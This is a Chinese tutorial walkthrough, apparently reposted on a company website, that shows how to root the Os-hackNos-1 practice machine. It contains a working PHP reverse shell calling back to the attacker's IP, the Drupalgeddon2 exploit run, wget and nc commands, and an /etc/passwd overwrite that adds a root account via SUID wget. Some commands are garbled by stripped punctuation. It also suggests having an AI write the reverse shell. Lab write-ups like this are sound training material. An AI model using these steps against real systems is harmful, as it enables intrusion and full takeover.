资讯动态

【Os-hackNos靶机渗透系列】Os-hackNos-1靶机详细解题教程——小白也能上手操作!

发布时间:2026/10/15 14:11:33 来源:尧图企业网站定制
目标拿下该靶机的最高权限。工具kali难度低等注该靶机是继DC靶机渗透之后专门针对于信息收集强化的靶机所以信息收集篇幅会过长。一信息收集1.1利用arp-scan获得靶机IP地址# kali arp-scan -l其他IP地址都是固定的所以可以直接知道靶机的IP地址192.168.182.1941.2利用nmap获取详细服务信息。# kali nmap -sV 192.168.182.194可以知道打开了端口22和80所以我们就会去查找关于web服务信息。1.3利用whatweb查找详细服务信息。# kali whatweb -v 192.168.182.194似乎只能知道web服务器和详细版本。1.4利用扫描靶机路径# kali dirb http://192.168.182.194 /usr/share/wordlists/dirb/common.txt那么可以通过下面扫描出来的判断目标路径是 192.168.182.194/drupal/那么就再扫描路径一次。这次扫描出来了非常详细的路径。# kali dirsearch -u http://192.168.182.194/drupal/ -i 200就会发现里面扫描出来了很多配置文件作者就下载下来了一个文件看看。这样就可以发现 Drupal 的精准版本是 7.57 那么我们可以考虑去相关荷载去攻击。二利用CMS漏洞进行攻击2.1利用kali找到相关荷载我们可以通过AI搜索找到存在 CVE-2018-7600Drupalgeddon2这个漏洞那么就可以找到三个荷载。# kali searchsploit Drupalgeddon2那我们就选择 44449.rb 荷载进行攻击关于作者为什么会选择对的荷载那是因为其他荷载都是尝试过了只有这个成功了。# kali searchsploit -m php/webapps/44449.rb # 将荷载放在桌面上 # 需要利用命令下载 gem install highline ./44449.rb http://192.168.182.194/drupal/这样就进入了服务器里面了。2.2进行root提权我们可以看到我们的权限还可以但是不是最高的。并且我们也没有本身的最高权限执行文件那么就只好去查看 SUID提权了。# kali find / -perm -4000 -type f 2/dev/null由于是RUBY的非shell交互环境非TTY环境所以 没有意义在里面所以会有一大堆信息出来而作者只是截取具有SUID提权的文件。 我们可以看到文件 /usr/bin/wget 具有SUID权限并且作用是下载文件。后面我们需要反复利用这个文件作用我们就需要解决非TTY环境问题。首先需要在 kali 上打开web服务这样可以让我们利用 /usr/bin/wget 往我们kali上下载文件。必须要在同一局域网中才能进行下载文件# kali # 在 kali 桌面上执行该命令因为文件作者都是放在桌面为标准 python3 -m http.server 8000我们需要在kali桌面上创建文件 shell_os.php 并且在文件里面写入# 可以让AI给你以PHP编程编写反弹shell ?php set_time_limit(0); $ip 192.168.182.149; // 你的 Kali IP $port 4444; // 监听端口 $sock fsockopen($ip, $port); if (!$sock) { die(无法连接); } $proc proc_open(/bin/bash -i, array( 0 $sock, 1 $sock, 2 $sock ), $pipes); ?我们可以利用 44449.rb 之后的非交互终端找到网站的根目录 /var/www/html 我们就需要将PHP反弹shell写入网站根目录下面。# hackNos /usr/bin/wget http://192.168.182.149:8000/shell_os.php -O /var/www/html/shell_os.php # 还需要在kali中执行 nc -lvnp 4444然后我们去访问网站 http://192.168.182.194/shell_os.php 让网站解析这个PHP文件我们就可以利用kali连接上了。利用下面命令来提升为TTY环境这样我们的命令就可以正常使用了。接下来我们就利用TTY进行执行命令了。# www-date python -c import pty;pty.spawn(/bin/bash)我们可以看到文件 /usr/bin/wget 的作用是下载文件那么我们可以利用该文件来新建一个超级用户。由于 /usr/bin/wget 只有 -O 这样覆盖文件的功能但是我们建立超级用户就需要往 /etc/passwd 里面写入正确的格式为了不破坏文件必须按照下面这样做。这个是 /etc/passwd 里面的内容我们需要保存一份。# /etc/passwd # 直接利用命令 /etc/passwd 得到下面 root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false syslog:x:104:108::/home/syslog:/bin/false _apt:x:105:65534::/nonexistent:/bin/false lxd:x:106:65534::/var/lib/lxd/:/bin/false messagebus:x:107:111::/var/run/dbus:/bin/false uuidd:x:108:112::/run/uuidd:/bin/false dnsmasq:x:109:65534:dnsmasq,,,:/var/lib/misc:/bin/false james:x:1000:1000:james,,,:/home/james:/bin/bash sshd:x:110:65534::/var/run/sshd:/usr/sbin/nologin mysql:x:111:118:MySQL Server,,,:/nonexistent:/bin/false然后在我们自己的 kali 桌面上写入文件 ps.txt。这样我们创建成功了。在这里面还有一种思路可以不用建立新的超级用户而是将原有的用户密码和权限在ps.txt文件进行修改这样就可以实现james直接有最高权限。# 在文件中写入我们之前保存的一份 /etc/passwd # 在第一行写入我们伪造的用户密码hacker123456 # 在kali里面执行命令 openssl passwd -1 -salt hacker 123456 # 就会得到加盐哈希$1$hacker$6luIRwdGpBvXdP.GMwcZp/ # 将按照root格式写入就可以了 hacker:$1$hacker$6luIRwdGpBvXdP.GMwcZp/:0:0:root:/root:/bin/bash root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false syslog:x:104:108::/home/syslog:/bin/false _apt:x:105:65534::/nonexistent:/bin/false lxd:x:106:65534::/var/lib/lxd/:/bin/false messagebus:x:107:111::/var/run/dbus:/bin/false uuidd:x:108:112::/run/uuidd:/bin/false dnsmasq:x:109:65534:dnsmasq,,,:/var/lib/misc:/bin/false james:x:1000:1000:james,,,:/home/james:/bin/bash sshd:x:110:65534::/var/run/sshd:/usr/sbin/nologin mysql:x:111:118:MySQL Server,,,:/nonexistent:/bin/false# hackNos /usr/bin/wget http://192.168.182.149:8000/ps.tx -O /etc/passwd# hackNos su hacker然后就可以输入密码 123456这样就得到了最高权限了我们就成功了。该靶机的解题思路非常的简单但坑是非常的多这里文章里面都规避了作者所踩到的坑总之可以尝试一下作者文章中提到的其他的解题思路呢喜欢不妨多多评论一下

读完文章,也想定制专属网站?

尧图设计师 24 小时内与您沟通定制方案

免费获取报价 →
↑